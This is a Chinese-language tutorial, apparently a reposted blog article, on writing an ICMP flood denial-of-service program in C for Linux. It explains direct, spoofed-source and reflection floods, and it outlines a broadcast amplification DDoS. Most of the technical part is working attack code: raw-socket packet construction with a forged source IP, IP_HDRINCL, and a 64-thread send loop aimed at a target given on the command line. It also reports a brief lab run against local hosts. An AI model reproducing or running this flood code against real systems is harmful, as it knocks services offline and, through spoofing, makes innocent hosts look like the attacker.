首頁  >  文章  >  運維  >  Linux--ICMP洪水攻擊的實例介紹

Linux--ICMP洪水攻擊的實例介紹

零下一度
零下一度原創
2017-06-29 15:41:592187瀏覽

這篇文章主要為大家詳細介紹了Linux編程之ICMP洪水攻擊的相關資料,具有一定的參考價值,有興趣的小伙伴們可以參考一下

我的上一篇文章《Linux編程之PING的實現》裡使用ICMP協議實現了PING的程序,ICMP除了實現這麼一個PING程序,還有哪些不為人知或好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。

ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這裡本著加深自己對ICMP的理解的目的,也試著基於ICMP寫一段ICMP的洪水攻擊小程式。

洪水攻擊(FLOOD ATTACK)指的是利用電腦網路技術向目的主機發送大量無用資料封包,使得目的主機忙於處理無用的資料封包而無法提供正常服務的網路行為

ICMP洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙於處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。

要實現ICMP的洪水攻擊,需要以下三項的知識儲備:

  • DOS攻擊原則

  • ICMP的深入理解

  • 原始套接字的程式設計技巧

一、ICMP洪水攻擊原理

ICMP洪水攻擊是在ping的基礎上形成的,但是ping程式很少能造成目的及宕機的問題,這是因為ping的發送包的速率太慢了,像我實現的PING程式裡ping包發送速率限定在1秒1發,這個速率目的主機處理ping包還是綽綽有餘的。所以要造成「洪水」的現象,就必須提升發包速率。這裡介紹三種ICMP洪水攻擊的方式: 

(1)直接洪水攻擊

這樣做需要本地主機的頻寬與目的主機的頻寬之間進行比拼,例如我的主機網路頻寬是30M的,而你的主機網路頻寬僅為3M,那我發動洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和頻寬要大於被攻擊主機,否則自身被DoS了。基於這種思想,我們可以使用一台高頻寬高效能的電腦,採用多執行緒的方法一次發送多個ICMP請求報文,讓目的主機忙於處理大量這些報文而造成速度緩慢甚至宕機。這個方法有個大缺點,就是對方可以根據ICMP包的IP位址而屏蔽掉攻擊源,使得攻擊不能繼續。

(2)偽IP攻擊

在直接洪水攻擊的基礎上,我們將發送方的IP位址偽裝成其他IP,如果是偽裝成一個隨機的IP,那就可以很好地隱藏自己的位置;如果將自己的IP偽裝成其他受害者的IP,就會造成「挑撥離間」的情形,受害主機1的icmp回覆包也如洪水般發送給受害主機2,如果主機1的管理員要查是哪個混蛋髮包攻擊自己,他一查ICMP包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。 

(3)反射攻擊

這類攻擊的想法不同於上面兩種攻擊,反射攻擊的設計更為巧妙。其實這裡的方式三的攻擊模式是前兩個模式的合併版以及升級版,方式三的攻擊策略有點像“借刀殺人“,反射攻擊不再直接對目標主機,而是讓其他一群主機誤以為目標主機在向他們發送ICMP請求包,然後一群主機向目的主機發送ICMP應答包,造成來自四面八方的洪水淹沒目的主機的現象。例如我們向區域網路的其他主機發送ICMP請求包,然後自己的IP位址偽裝成目的主機的IP,這樣子目的主機就成了ICMP回顯的焦點了。這種攻擊非常隱蔽,因為受害主機很難找出攻擊來源是誰。

二、ICMP洪水攻擊程式設計

這裡我想實作一個ICMP洪水攻擊的例子,這裡我想採用方式二來進行設計。雖說方式三的「借刀殺人」更為巧妙,其實也是由方式二的偽裝方式進一步延伸的,實現起來也是大同小異。

首先給出攻擊的模型圖:

1.群組ICMP套件

這裡的組包跟寫PING程式時的組包沒什麼太大差別,唯一要注意的是,我們需要填寫IP頭部分,因為我們要偽裝來源位址,做到嫁禍於人。


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}

2.建立發包執行緒


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}

3.寫發包開關

這裡的開關很簡單,用訊號量+全域變數即可以實現。當我們按下ctrl+c時,攻擊將關閉。


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}

 4.總的架構

我們使用了64個執行緒一起發包,當然這個執行緒數還可以大幅增加,來增加攻擊強度。但我們只是做實驗,沒必要搞那麼大。


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}

三、實驗

#這次實驗本著學習的目的,想利用自己手上的設備,想進一步理解網路和協定的應用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設備造成影響。 

再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,並將自己偽裝成主機172.0.5.182,對主機172.0.5.9發動ICMP洪水攻擊。

攻擊開始

我們觀察一下」受害者「那邊的情況。在短短5秒裡,正確收到並交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。

使用wireshark抓包再瞧,滿滿的ICMP包啊,看來量也是很大的。 ICMP套件的來源位址顯示為172.0.5.182(我們偽裝的位址),它也把echo reply回給了172.0.5.182。主機172.0.5.182一定會想,莫名其妙啊,怎麼收到這麼多echo reply包。

攻擊實驗做完了。  

現在更為流行的是DDOS攻擊,其威力更為強悍,策略更為精巧,防禦難度也更高。
其實,這種DDoS攻擊也是在DOS的基礎上發起的,具體步驟如下: 

    1. 攻擊者向「放大網路」廣播echo request封包
    2.攻擊者指定廣播訊息的來源IP為被攻擊主機
    3. 「放大網路」回覆echo reply給被攻擊主機
    4. 形成DDoS攻擊場景 

這裡的「放大網絡」可以理解為具有許多主機的網絡,這些主機的作業系統需要支援對目的位址為廣播位址的某種ICMP請求封包進行回應。

攻擊策略很精簡,簡而言之,就是將來源位址偽裝成攻擊主機的IP,然後發廣播的給所有主機,主機收到該echo request後集體向攻擊主機回包,造成群起而攻之的情景。

以上是Linux--ICMP洪水攻擊的實例介紹的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn